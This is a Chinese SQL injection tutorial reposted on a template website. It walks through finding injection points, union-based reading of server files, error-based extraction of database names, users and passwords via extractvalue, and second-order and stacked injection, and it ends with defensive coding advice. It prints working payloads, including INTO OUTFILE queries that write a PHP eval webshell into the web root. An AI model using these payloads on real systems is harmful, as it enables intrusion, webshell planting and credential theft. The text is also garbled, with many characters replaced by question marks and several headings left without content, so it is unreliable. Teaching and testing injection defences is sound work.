本篇文章给大家带来了sql注入的相关知识,SQL注入是服务端未严格校验客户端发送的数据,而导致服务端SQL语句被恶意修改并成功执行的行为,希望对大家有帮助。
|
本篇文章给大家带来了sql注入的相关知识,SQL注入是服务端未严格校验客户端发送的数据,而导致服务端SQL语句被恶意修改并成功执行的行为,希望对大家有帮助。
SQL是什么?结构化查询语?(Structured Query Language ,SQL),是?种特殊的编程语?,?于数据库的标准数据查询。1986 年10 ?美国国家标准协会对SQL 进?了规范后,以此作为关系型数据库系统的标准语?。1987 年得到了国际标准组织的?持,成为了国际标准。 什么是SQL注入SQL注入是服务端未严格校验客户端发送的数据,而导致服务端SQL语句被恶意修改并成功执行的行为 漏洞原理SQL 注?的攻击?为可以描述为通过?户可控参数中注?SQL 语法,破坏原有SQL 结构,达到编写程序时意料之外结果的攻击?为。其成因可以归结为以下两个原因叠加造成的。
漏洞原因
为什么会有SQL注入
注?点可能存在的位置根据SQL 注?漏洞的原理,?户“可控参数”中注?SQL 与发,也就是说Web 应?获取?户输?的地?,只要带?数据库查询,都有存在SQL 注?的可能,这些地?通常包括:
漏洞危害
提交方法提交方法有:get、post、cookie、request等 判断注入点会在疑似注?点的地?或者参数后?尝试提交数据,从而进?判断是否存在SQL 注?漏洞。
注意:如果你对着一个网站测试的时候,出现404,或者页面跳转,说明网站有防护 判断字符型还是数字型如下图,一般来说,id之类的参数后面跟的是数字型(也有可能是字符型),别的参数后面跟的是字符型 sql注入绕过
如果有些字符串确实被限制的很严格,我们可以尝试一些编码绕过。
在MySQL里,/**/是多行注释,这个是SQL的标准,但是MySQL扩张了解释的功能,如果在开头的的/*后头加了感叹号
获取网站路径路径常见获取方法:
别用百度,用谷歌搜索 漏洞报错、平台配置文件、爆破等 SQL 注入读写文件可以利用SQL 注入漏洞进行文件读写。 1. 数据库支持文件读写这里涉及到1个变量
修改配置文件,对读写不做限制,文件路径
2. 当前用户具有文件权限
?id=-1'union select 1,current_user(),3 --+
?id=-1' union select 1,File_priv,3 from mysql.user where user="root" and host="localhost"--+
方法2: select File_priv from mysql.user where user="root" and host="localhost";
3. 知道文件绝对路径
下面两种方法一样 ?id=1' and 1=2 union select 1,load_file('c:\\windows\\system32\\drivers\\etc\\hosts'),3 --+
?id=1' and 1=2 union select 1,load_file('c:/windows/system32/drivers/etc/hosts'),3 --+
写phpinfo,没有报错就说明写入成功,可以直接访问写入的文件地址 # 1. 直接写 ?id=-1' union select 1,'<?php phpinfo();?>',3 into outfile 'c:\\phpstudy\\www\\hack.php'--+ # 2. 改写成16进制 ?id=1' and 1=2 union select 1,0x3c3f70687020706870696e666f28293b3f3e,3 into outfile 'c:/phpstudy/www/hack.php' --+
写一句话木马 # 1. 直接写 ?id=1' and 1=2 union select 1,'<?=@eval($_REQUEST[404])?>',3 into outfile 'c:/phpstudy/www/hack1.php' --+ # 2. 改写成16进制 ?id=1' and 1=2 union select 1,0x3c3f3d406576616c28245f524551554553545b3430345d293f3e,3 into outfile 'c:/phpstudy/www/hack1.php' --+ 查询方式及报错盲注?在进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入,提前了解或预知其SQL语句的大概写法也能更好的选择对应的注入语句。 更详细的介绍,请参见下一篇文章 《SQL注入的常见方式》 查询方式重点理解:我们可以通过下面的查询方式和网站应用的关系、注入点产生地方、应用猜测到对方的SQL查询方式
举例:
举例:
举例:
举例:
举例: 报错盲注盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试。
报错模板:https://www.jianshu.com/p/bc35f8dd4f7c 报错注入函数
利用的就是mysql函数参数格式错误进行报错注入。 updatexml()函数语法:updatexml(XML_document,Xpath_string,new_value);
适用版本是:5.1.5+ 利用方式:在执行两个函数时,如果出现xml文件路径错误,就会产生报错 那么我们就需要构造Xpath_string格式错误,也就是我们将Xpath_string的值传递成不符合格式的参数,mysql就会报错
利用的原理是xpath格式不符报错注入。 函数语法:extractvalue(XML_document,XPath_string) 1. 获取当前是数据库名称及使用mysql数据库的版本信息: and extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e)) 2. 获取当前注入点的用户权限信息及操作系统版本信息: and extractvalue(1,concat(0x7e,@@version_compile_os,0x7e,user(),0x7e)) 3. 获取当前位置所用数据库的位置: and extractvalue(1,concat(0x7e,@@datadir,0x7e)) 4. 获取数据表信息: and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) 5. 获取users数据表的列名信息: and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e)) 6. 获取对应的列名的信息(username\password): and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e)) 二次注入
二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。 原理二次注入的原理:在第一次进行数据库插入数据的时候,仅仅只是使用了 在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。 实施步骤
第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容
举例这里使用的是sql-libs靶场的第24关
堆叠查询堆叠注入(Stacked injections),从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 注意事项: DNSlogDNSlog 就是存储在 DNS Server 上的域名信息,它记录着用户对域名 www.baidu.com 等的访问信息,类似日志文件。更多操作参见浅析DNSlog在渗透测试中的实战技巧 脑图
常见数据库,及注入相关?MySQL、SQLServer、Oracle、PostgreSQL、Access五种数据库应该是目前市面上最流行的数据库了。我们进行渗透测试,碰到最多的也是这几种数据库。本文就这几种数据库在注入时的相同点和不同的做一下统计。 注释符、数据库端口
数据库文件后缀名
特有的数据库
查看当前用户或权限
查询当前用户 select user(); select substring_index(user(), '@', 1) ; 查询当前用户的权限 select * from mysql.user where user = substring_index(user(), '@', 1) ;
判断是否是SA权限select is_srvrolemember('sysadmin') 判断是否是db_owner权限
select is_member('db_owner')判断是否是public权限select is_srvrolemember('public')
查看当前用户select * from user_users;查看当前用户拥有的角色 select * from session_roles;查看当前用户拥有的权限select * from session_privs;
select user #查看用户select current_user #查看当前用户
Access数据库是文件类型数据库,没有用户和权限的概念 ASCII转换函数
不同数据库注入结果的区别?
Sql注入中连接字符串常用函数在select数据时,我们往往需要将数据进行连接后进行回显。很多的时候想将多个数据或者多行数据进行输出的时候,需要使用字符串连接函数。在sqli中,常见的字符串连接函数有 concat()函数不使用字符串连接函数时: 但是这里存在的一个问题是,当使用union联合注入时,我们都知道,联合注入要求前后两个选择的列数要相同,这里id,username是两个列,当我们要一个列的时候,(当然不排除你先爆出id,再爆出username,分两次的做法)该怎么办?答案就是
concat_ws 函数使用方法:
注意:如果分隔符为 NULL,则结果为 NULL。函数会忽略任何分隔符参数后的 NULL 值。 group_concat 函数基本查询 mysql> select * from aa; +------+------+ | id| name | +------+------+ |1 | 10| |1 | 20| |1 | 20| |2 | 20| |3 | 200 | |3 | 500 | +------+------+ 6 rows in set (0.00 sec) 以id分组,把name字段的值打印在一行,逗号分隔(默认) mysql> select id,group_concat(name) from aa group by id; +------+--------------------+ | id| group_concat(name) | +------+--------------------+ |1 | 10,20,20| |2 | 20 | |3 | 200,500| +------+--------------------+ 3 rows in set (0.00 sec) 以id分组,把name字段的值打印在一行,分号分隔 mysql> select id,group_concat(name separator ';') from aa group by id; +------+----------------------------------+ | id| group_concat(name separator ';') | +------+----------------------------------+ |1 | 10;20;20 | |2 | 20| |3 | 200;500 | +------+----------------------------------+ 3 rows in set (0.00 sec) 以id分组,把去冗余的name字段的值打印在一行, mysql> select id,group_concat(distinct name) from aa group by id; +------+-----------------------------+ | id| group_concat(distinct name) | +------+-----------------------------+ |1 | 10,20| |2 | 20 | |3 | 200,500 | +------+-----------------------------+ 3 rows in set (0.00 sec) 以id分组,把name字段的值打印在一行,逗号分隔,以name排倒序 mysql> select id,group_concat(name order by name desc) from aa group by id; +------+---------------------------------------+ | id| group_concat(name order by name desc) | +------+---------------------------------------+ |1 | 20,20,10 | |2 | 20| |3 | 500,200| +------+---------------------------------------+ 3 rows in set (0.00 sec) 补充知识—数据库结构数据库结构:数据库 —> 表名 —> 列名 —> 数据
use dvwa; # 选中dvwa数据库 show tables; # 查看dvwa数据库中有哪些表
补充知识—关于SQL的一些常识注释
点数据库中,符号 常用语句和函数推荐阅读:SQL注入必备知识初级
5:select 函数名; 查询某内容 防御措施防御SQL注入的核心思想是对用户输入的数据进行严格的检查,并且对数据库的使用采用最小权限分配原则。目前SQL注入的防御手段有以下几种: 代码层
强迫使用参数化语句。参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。采用这种措施,可以杜绝大部分的SQL注入式攻击
例如Mybatis中使用 Thinkphp框架的安全写法
安全的替换写法
$data=M('Member')->where(array('id'=>$_GET['id']))->find();//使用数组方式将自动使用框架自带的字段类型检测防止注入
$data=M('Member')->where(array('id'=>(int)$_GET['id']))->find();//类型约束
$data=M('Member')->where('id='.intval($_GET['id']))->find();//类型转换
$data=M('Member')->where(array('id'=>I('get.id','','intval')))->find();//$data=M('Member')- >where(array('id'=>':id'))->bind(':id',I('get.id'))->select();//PDO驱动可以使用参数绑定
$data=M('Member')->where("id=%d",array($_GET['id']))->find();//预处理机制
//不安全的写法举例
$_GET['id']=8;//希望得到的是正整数
$data=M()->query('SELECT * FROM `member` WHERE id='.$_GET['id']);//执行的SQL语句
$_GET['id']='8 UNION SELECT * FROM `member`';;//隐患:构造畸形语句进行注入;数据库加固主要包括:
其他例如,避免网站显示SQL执行出错信息,防止攻击者使用基于错误的方式进行注入;每个数据层编码统一,防止过滤模型被绕过等。使用WAF。 相关推荐:《mysql教程》 以上就是带你了解SQL注入(详细)的详细内容,更多请关注模板之家(www.mb5.com.cn)其它相关文章! |
